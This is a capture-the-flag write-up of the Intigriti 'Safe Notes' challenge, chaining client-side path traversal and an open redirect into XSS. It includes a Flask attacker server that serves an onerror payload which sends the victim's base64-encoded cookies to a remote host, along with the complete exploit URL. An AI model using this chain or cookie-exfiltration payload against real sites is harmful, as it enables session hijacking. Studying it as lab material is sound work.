Intigriti August 2024 CTF Defcon Challenge: Safe Notes

tldr; This challenge was fun and engaging, blending CSPT with an open redirect flaw to ultimately pull off a successful XSS attack and grab the flag!

Client-Side Path Traversal (CSPT) is so hot right now...

The Challenge

This challenge was a note-taking and sharing application where users could create, view, and share notes through unique links. The application's primary function allowed users to view notes by passing a note ID as a GET parameter in the URL. This was an open source challenge so the goal was to identify and exploit any vulnerabilities found within the source code of the application.

The Vulnerabilities

So lets jump in and look at the code to see what we can find:

Client-Side Path Traversal

Inside the view.html template there is a noteId variable that is obtained from a GET parameter note.

    window.addEventListener("load", function () {
        const urlParams = new URLSearchParams(window.location.search);
        const noteId = urlParams.get("note");
        if (noteId) {
            document.getElementById("note-id-input").value = noteId;
            validateAndFetchNote(noteId);
        }
    });

The note ID is validated by the isValidUUID, however there is a slight mistake in the regex in that it only checks for string termination ($) and not string beginning (^). This means that as long as our node value ends with a valid looking string we can bypass this check (e.g. anything-we-want-here-b07fd19c-bbde-4449-b0e6-30dce1d6bac2 would be valid)

    function isValidUUID(noteId) {
        const uuidRegex =
            /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
        return uuidRegex.test(noteId);
    }

    function validateAndFetchNote(noteId) {
        if (noteId && isValidUUID(noteId.trim())) {
            history.pushState(null, "", "?note=" + noteId);
            fetchNoteById(noteId);
        } else {
            showFlashMessage(
                "Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.",
                "danger"
            );
        }
    }
    

In the fetchNoteById function our noteId variable is passed into decodeURIComponent which is then directly concatenated into a path /api/notes/fetch/. This means that we can perform client-side path traversal by providing a noteId with ../ sequences. Which will allow us to execute other endpoint requests as the victim simply by providing them with a malicious view note link.

    const csrf_token = "{{ csrf_token() }}";

    function fetchNoteById(noteId) {
        if (noteId.includes("../")) {
            showFlashMessage("Input not allowed!", "danger");
            return;
        }
        fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
            method: "GET",
            headers: {
                "X-CSRFToken": csrf_token,
            },
        })
            .then((response) => response.json())
            .then((data) => {
                if (data.content) {
                    document.getElementById("note-content").innerHTML =
                        DOMPurify.sanitize(data.content);
                    document.getElementById(
                        "note-content-section"
                    ).style.display = "block";
                    showFlashMessage("Note loaded successfully!", "success");
                } else if (data.error) {
                    showFlashMessage("Error: " + data.error, "danger");
                } else {
                    showFlashMessage("Note doesn't exist.", "info");
                }
                if (data.debug) {
                    document.getElementById("debug-content").outerHTML =
                        data.debug;
                    document.getElementById(
                        "debug-content-section"
                    ).style.display = "block";
                }
            });
    }

So that's cool, but on it's own it doens't really present an actual impactful vulnerability. We need to find another vulnerability or gadget to use the CSPT with so that we can achieve something fun.

Open Redirect

If we look at the /contact endpoint it takes a GET parameter, return, and redirects to that URL.

@main.route('/contact', methods=['GET', 'POST'])
def contact():
    form = ContactForm()
    return_url = request.args.get('return')
    if request.method == 'POST':
        if form.validate_on_submit():
            flash('Thank you for your message!', 'success')
            if return_url and is_safe_url(return_url):
                return redirect(return_url)
            return redirect(url_for('main.home'))
    if return_url and is_safe_url(return_url):
        return redirect(return_url)
    return render_template('contact.html', form=form, return_url=return_url)

Where the is_safe_url method is as shown below:

def is_safe_url(target):
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https')

From a quick glance you may think that this only allows relative paths to be provided as the urljoin grabs the current host URL. However, if the 2nd argument contains a schema, then the first argument is totally ignored. So, basically this method just checks if we've provided a HTTP or HTTPS link.

Putting it all together

This exploit is split into stages, the first two will be delivering the exploit and the final will the be exfiltration.

  • Stage 1: Deliver a malicious link to the victim.
  • Stage 2: This makes a request to a server we control to download the second stage XSS payload.
  • Stage 3: Exfiltrate data from the user using our XSS back to our server.

The Attack Server

So lets start by coding up the attack server. For this I used a pretty simple flask app with making sure to enable Cross-origin resource sharing (CORS) so that the browser does not forbid our request.

from flask import Flask, request
from flask_cors import CORS

MY_HOST = 'http://<REMOTE_IP>:7777'

app = Flask(__name__)
CORS(app)


@app.route('/')
def index():
    """
    This endpoint returns a json payload with XSS in the debug field.
    The payload will base64 encode the cookies and will redirect the victim to our server to leak this value
    """
    return {'debug': '<img src=x onerror="window.location=`'+MY_HOST+'/s?${btoa(document.cookie)}`">'}


@app.route('/s')
def steal():
    """
    This endpoint prints out any arguments, and thanks the victim for their kind exfil.
    """
    for arg in request.args:
        print(arg)
    return 'thanks'

if __name__ == '__main__':
    app.run(debug=True, port=7777, host='0.0.0.0')
    

The Payload

The final payload consists of the following parts:

  1. Client-Side Path Traversal - using ..%252F to traverse up to the root of the domain sequences (double URL encoded)
  2. Contact page - The vulnerable endpoint we want to access
  3. Open Redirect - Redirecting to a server we control
  4. Valid Note Format - Ending with a pattern that will match the REGEX.
http://127.0.0.1/view?note=..%252F..%252F..%252F..%252F..%252Fcontact%253Freturn%253Dhttp:%2F%2F<IP_ADDRESS>:7777%2F%2526b07fd19c-bbde-4449-b0e6-30dce1d6bac2
Payload submission to the report endpoint

When the payload is clicked it will do the following

  1. Perform the CSPT and redirect to our server
  2. Attacker server will return JSON with the malicious debug field
  3. Debug field inserted into the page, triggering our XSS
  4. Cookies are encoded and exfiltrated to the attacker server
  5. Profit.

Using the /report endpoint that allows for payload submissions via a headless browser we can get XSS against the admin user to steal the cookies. Providing this payload link to gives our server a hit:

A hit from our victim's machine hitting our attack server and exfiltrating data

Giving us a parameter of:

ZmxhZz1JTlRJR1JJVEl7MTMzN3VwbGl2ZWN0Zl8xNTExMjRfNTR2M183aDNfZDQ3M30

Base64 encoded s parameter

Which if we base64 decoded it is:

flag=INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}

The final flag 🥳